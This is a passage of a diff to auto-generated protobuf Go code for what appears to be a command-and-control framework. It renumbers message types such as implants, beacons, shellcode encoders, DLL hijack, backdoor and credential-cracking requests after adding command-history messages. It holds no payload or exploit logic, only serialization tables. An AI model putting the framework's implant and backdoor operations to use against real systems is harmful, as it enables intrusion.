37: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 38: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 39: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 40: clientpb.RegenerateReq + (*Job)(nil), // 41: clientpb.Job + (*Jobs)(nil), // 42: clientpb.Jobs + (*KillJobReq)(nil), // 43: clientpb.KillJobReq + (*KillJob)(nil), // 44: clientpb.KillJob + (*MTLSListenerReq)(nil), // 45: clientpb.MTLSListenerReq + (*MTLSListener)(nil), // 46: clientpb.MTLSListener + (*WGListenerReq)(nil), // 47: clientpb.WGListenerReq + (*WGListener)(nil), // 48: clientpb.WGListener + (*DNSListenerReq)(nil), // 49: clientpb.DNSListenerReq + (*DNSListener)(nil), // 50: clientpb.DNSListener + (*HTTPListenerReq)(nil), // 51: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 52: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 53: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 54: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 55: clientpb.TCPPivot + (*HTTPListener)(nil), // 56: clientpb.HTTPListener + (*Sessions)(nil), // 57: clientpb.Sessions + (*RenameReq)(nil), // 58: clientpb.RenameReq + (*GenerateReq)(nil), // 59: clientpb.GenerateReq + (*Generate)(nil), // 60: clientpb.Generate + (*MSFReq)(nil), // 61: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 62: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 63: clientpb.StagerListenerReq + (*StagerListener)(nil), // 64: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 65: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 66: clientpb.ShellcodeRDI + (*MsfStagerReq)(nil), // 67: clientpb.MsfStagerReq + (*MsfStager)(nil), // 68: clientpb.MsfStager + (*GetSystemReq)(nil), // 69: clientpb.GetSystemReq + (*MigrateReq)(nil), // 70: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 71: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 72: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 73: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 74: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 75: clientpb.PivotGraph + (*Client)(nil), // 76: clientpb.Client + (*Event)(nil), // 77: clientpb.Event + (*Operator)(nil), // 78: clientpb.Operator + (*WebContent)(nil), // 79: clientpb.WebContent + (*WebsiteAddContent)(nil), // 80: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 81: clientpb.WebsiteRemoveContent + (*Website)(nil), // 82: clientpb.Website + (*Websites)(nil), // 83: clientpb.Websites + (*WGClientConfig)(nil), // 84: clientpb.WGClientConfig + (*Loot)(nil), // 85: clientpb.Loot + (*AllLoot)(nil), // 86: clientpb.AllLoot + (*IOC)(nil), // 87: clientpb.IOC + (*ExtensionData)(nil), // 88: clientpb.ExtensionData + (*Host)(nil), // 89: clientpb.Host + (*AllHosts)(nil), // 90: clientpb.AllHosts + (*DllHijackReq)(nil), // 91: clientpb.DllHijackReq + (*DllHijack)(nil), // 92: clientpb.DllHijack + (*BackdoorReq)(nil), // 93: clientpb.BackdoorReq + (*Backdoor)(nil), // 94: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 95: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 96: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 97: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 98: clientpb.ExternalGenerateReq + (*Builders)(nil), // 99: clientpb.Builders + (*Builder)(nil), // 100: clientpb.Builder + (*Credential)(nil), // 101: clientpb.Credential + (*Credentials)(nil), // 102: clientpb.Credentials + (*Crackstations)(nil), // 103: clientpb.Crackstations + (*CrackstationStatus)(nil), // 104: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 105: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 106: clientpb.CrackBenchmark + (*CrackTask)(nil), // 107: clientpb.CrackTask + (*Crackstation)(nil), // 108: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 109: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 110: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 111: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 112: clientpb.CrackCommand + (*CrackConfig)(nil), // 113: clientpb.CrackConfig + (*CrackFiles)(nil), // 114: clientpb.CrackFiles + (*CrackFile)(nil), // 115: clientpb.CrackFile + (*CrackFileChunk)(nil), // 116: clientpb.CrackFileChunk + nil, // 117: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 118: clientpb.ImplantBuilds.ConfigsEntry + nil, // 119: clientpb.WebsiteAddContent.ContentsEntry + nil, // 120: clientpb.Website.ContentsEntry + nil, // 121: clientpb.Host.ExtensionDataEntry + nil, // 122: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 123: clientpb.CrackSyncStatus.ProgressEntry + nil, // 124: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 125: clientpb.Crackstation.BenchmarksEntry + (*commonpb.Request)(nil), // 126: commonpb.Request + (*commonpb.Response)(nil), // 127: commonpb.Response + (*commonpb.File)(nil), // 128: commonpb.File } var file_clientpb_client_proto_depIdxs = []int32{ - 15, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon - 17, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask - 19, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 - 0, // 3: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 123, // 4: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 123, // 5: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 114, // 6: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry - 21, // 7: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder - 23, // 8: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest - 20, // 9: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 123, // 10: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 115, // 11: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry - 0, // 12: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat - 28, // 13: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget - 29, // 14: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler - 28, // 15: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget - 32, // 16: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary - 20, // 17: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig - 35, // 18: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile - 38, // 19: clientpb.Jobs.Active:type_name -> clientpb.Job - 124, // 20: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 125, // 21: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 124, // 22: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 125, // 23: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 14, // 24: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 20, // 25: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 123, // 26: clientpb.Generate.File:type_name -> commonpb.File - 124, // 27: clientpb.MSFReq.Request:type_name -> commonpb.Request - 124, // 28: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 29: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 1, // 30: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 123, // 31: clientpb.MsfStager.File:type_name -> commonpb.File - 20, // 32: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 124, // 33: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 20, // 34: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 35: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 124, // 36: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 124, // 37: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 124, // 38: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 14, // 39: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 71, // 40: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 71, // 41: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 75, // 42: clientpb.Client.Operator:type_name -> clientpb.Operator - 14, // 43: clientpb.Event.Session:type_name -> clientpb.Session - 38, // 44: clientpb.Event.Job:type_name -> clientpb.Job - 73, // 45: clientpb.Event.Client:type_name -> clientpb.Client - 116, // 46: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 117, // 47: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 79, // 48: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 49: clientpb.Loot.FileType:type_name -> clientpb.FileType - 123, // 50: clientpb.Loot.File:type_name -> commonpb.File - 82, // 51: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 84, // 52: clientpb.Host.IOCs:type_name -> clientpb.IOC - 118, // 53: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 86, // 54: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 124, // 55: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 125, // 56: clientpb.DllHijack.Response:type_name -> commonpb.Response - 124, // 57: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 125, // 58: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 59: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 124, // 60: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 125, // 61: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 119, // 62: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 20, // 63: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 97, // 64: clientpb.Builders.Builders:type_name -> clientpb.Builder - 28, // 65: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 29, // 66: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 4, // 67: clientpb.Credential.HashType:type_name -> clientpb.HashType - 98, // 68: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 105, // 69: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 5, // 70: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 102, // 71: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 120, // 72: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 121, // 73: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 109, // 74: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 122, // 75: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 106, // 76: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 108, // 77: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 107, // 78: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 7, // 79: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 4, // 80: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 9, // 81: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 8, // 82: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 8, // 83: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 10, // 84: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 112, // 85: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 11, // 86: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 113, // 87: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 21, // 88: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 20, // 89: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 76, // 90: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 76, // 91: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 85, // 92: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 93: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 94, // [94:94] is the sub-list for method output_type - 94, // [94:94] is the sub-list for method input_type - 94, // [94:94] is the sub-list for extension type_name - 94, // [94:94] is the sub-list for extension extendee - 0, // [0:94] is the sub-list for field type_name + 126, // 0: clientpb.ImplantCommand.Request:type_name -> commonpb.Request + 126, // 1: clientpb.HistoryRequest.Request:type_name -> commonpb.Request + 14, // 2: clientpb.History.Commands:type_name -> clientpb.ImplantCommand + 127, // 3: clientpb.History.Response:type_name -> commonpb.Response + 18, // 4: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon + 20, // 5: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask + 22, // 6: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 + 0, // 7: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat + 128, // 8: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 128, // 9: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 117, // 10: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 24, // 11: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder + 26, // 12: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest + 23, // 13: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig + 128, // 14: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 118, // 15: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 0, // 16: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat + 31, // 17: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget + 32, // 18: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler + 31, // 19: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget + 35, // 20: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary + 23, // 21: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig + 38, // 22: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile + 41, // 23: clientpb.Jobs.Active:type_name -> clientpb.Job + 126, // 24: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 127, // 25: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 126, // 26: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 127, // 27: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 17, // 28: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 23, // 29: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 128, // 30: clientpb.Generate.File:type_name -> commonpb.File + 126, // 31: clientpb.MSFReq.Request:type_name -> commonpb.Request + 126, // 32: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 33: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 1, // 34: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol + 128, // 35: clientpb.MsfStager.File:type_name -> commonpb.File + 23, // 36: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 126, // 37: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 23, // 38: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 39: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 126, // 40: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 126, // 41: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 126, // 42: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 17, // 43: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 74, // 44: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 74, // 45: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 78, // 46: clientpb.Client.Operator:type_name -> clientpb.Operator + 17, // 47: clientpb.Event.Session:type_name -> clientpb.Session + 41, // 48: clientpb.Event.Job:type_name -> clientpb.Job + 76, // 49: clientpb.Event.Client:type_name -> clientpb.Client + 119, // 50: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 120, // 51: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 82, // 52: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 53: clientpb.Loot.FileType:type_name -> clientpb.FileType + 128, // 54: clientpb.Loot.File:type_name -> commonpb.File + 85, // 55: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 87, // 56: clientpb.Host.IOCs:type_name -> clientpb.IOC + 121, // 57: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 89, // 58: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 126, // 59: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 127, // 60: clientpb.DllHijack.Response:type_name -> commonpb.Response + 126, // 61: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 127, // 62: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 63: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 126, // 64: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 127, // 65: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 122, // 66: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 23, // 67: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 100, // 68: clientpb.Builders.Builders:type_name -> clientpb.Builder + 31, // 69: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 32, // 70: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 4, // 71: clientpb.Credential.HashType:type_name -> clientpb.HashType + 101, // 72: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 108, // 73: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 5, // 74: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 105, // 75: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 123, // 76: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 124, // 77: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 112, // 78: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 125, // 79: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 109, // 80: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 111, // 81: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 110, // 82: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 7, // 83: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 4, // 84: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 9, // 85: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 8, // 86: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 8, // 87: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 10, // 88: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 115, // 89: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 11, // 90: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 116, // 91: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 24, // 92: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 23, // 93: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 79, // 94: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 79, // 95: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 88, // 96: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 97: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 98, // [98:98] is the sub-list for method output_type + 98, // [98:98] is the sub-list for method input_type + 98, // [98:98] is the sub-list for extension type_name + 98, // [98:98] is the sub-list for extension extendee + 0, // [0:98] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -11220,7 +11509,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Session); i { + switch v := v.(*ImplantCommand); i { case 0: return &v.state case 1: @@ -11232,7 +11521,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Beacon); i { + switch v := v.(*HistoryRequest); i { case 0: return &v.state case 1: @@ -11244,7 +11533,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Beacons); i { + switch v := v.(*History); i { case 0: return &v.state case 1: @@ -11256,7 +11545,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BeaconTask); i { + switch v := v.(*Session); i { case 0: return &v.state case 1: @@ -11268,7 +11557,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BeaconTasks); i { + switch v := v.(*Beacon); i { case 0: return &v.state case 1: @@ -11280,7 +11569,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantC2); i { + switch v := v.(*Beacons); i { case 0: return &v.state case 1: @@ -11292,7 +11581,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantConfig); i { + switch v := v.(*BeaconTask); i { case 0: return &v.state case 1: @@ -11304,7 +11593,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoder); i { + switch v := v.(*BeaconTasks); i { case 0: return &v.state case 1: @@ -11316,7 +11605,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoderMap); i { + switch v := v.(*ImplantC2); i { case 0: return &v.state case 1: @@ -11328,7 +11617,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoderTest); i { + switch v := v.(*ImplantConfig); i { case 0: return &v.state case 1: @@ -11340,7 +11629,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoderTests); i { + switch v := v.(*TrafficEncoder); i { case 0: return &v.state case 1: @@ -11352,7 +11641,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalImplantConfig); i { + switch v := v.(*TrafficEncoderMap); i { case 0: return &v.state case 1: @@ -11364,7 +11653,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalImplantBinary); i { + switch v := v.(*TrafficEncoderTest); i { case 0: return &v.state case 1: @@ -11376,7 +11665,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantBuilds); i { + switch v := v.(*TrafficEncoderTests); i { case 0: return &v.state case 1: @@ -11388,7 +11677,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CompilerTarget); i { + switch v := v.(*ExternalImplantConfig); i { case 0: return &v.state case 1: @@ -11400,7 +11689,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrossCompiler); i { + switch v := v.(*ExternalImplantBinary); i { case 0: return &v.state case 1: @@ -11412,7 +11701,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Compiler); i { + switch v := v.(*ImplantBuilds); i { case 0: return &v.state case 1: @@ -11424,7 +11713,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteReq); i { + switch v := v.(*CompilerTarget); i { case 0: return &v.state case 1: @@ -11436,7 +11725,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSCanary); i { + switch v := v.(*CrossCompiler); i { case 0: return &v.state case 1: @@ -11448,7 +11737,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Canaries); i { + switch v := v.(*Compiler); i { case 0: return &v.state case 1: @@ -11460,7 +11749,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UniqueWGIP); i { + switch v := v.(*DeleteReq); i { case 0: return &v.state case 1: @@ -11472,7 +11761,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantProfile); i { + switch v := v.(*DNSCanary); i { case 0: return &v.state case 1: @@ -11484,7 +11773,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantProfiles); i { + switch v := v.(*Canaries); i { case 0: return &v.state case 1: @@ -11496,7 +11785,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegenerateReq); i { + switch v := v.(*UniqueWGIP); i { case 0: return &v.state case 1: @@ -11508,7 +11797,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Job); i { + switch v := v.(*ImplantProfile); i { case 0: return &v.state case 1: @@ -11520,7 +11809,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Jobs); i { + switch v := v.(*ImplantProfiles); i { case 0: return &v.state case 1: @@ -11532,7 +11821,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KillJobReq); i { + switch v := v.(*RegenerateReq); i { case 0: return &v.state case 1: @@ -11544,7 +11833,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KillJob); i { + switch v := v.(*Job); i { case 0: return &v.state case 1: @@ -11556,7 +11845,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MTLSListenerReq); i { + switch v := v.(*Jobs); i { case 0: return &v.state case 1: @@ -11568,7 +11857,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MTLSListener); i { + switch v := v.(*KillJobReq); i { case 0: return &v.state case 1: @@ -11580,7 +11869,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGListenerReq); i { + switch v := v.(*KillJob); i { case 0: return &v.state case 1: @@ -11592,7 +11881,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGListener); i { + switch v := v.(*MTLSListenerReq); i { case 0: return &v.state case 1: @@ -11604,7 +11893,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSListenerReq); i { + switch v := v.(*MTLSListener); i { case 0: return &v.state case 1: @@ -11616,7 +11905,7 @@ func file_clientpb_client_proto_init() { } } 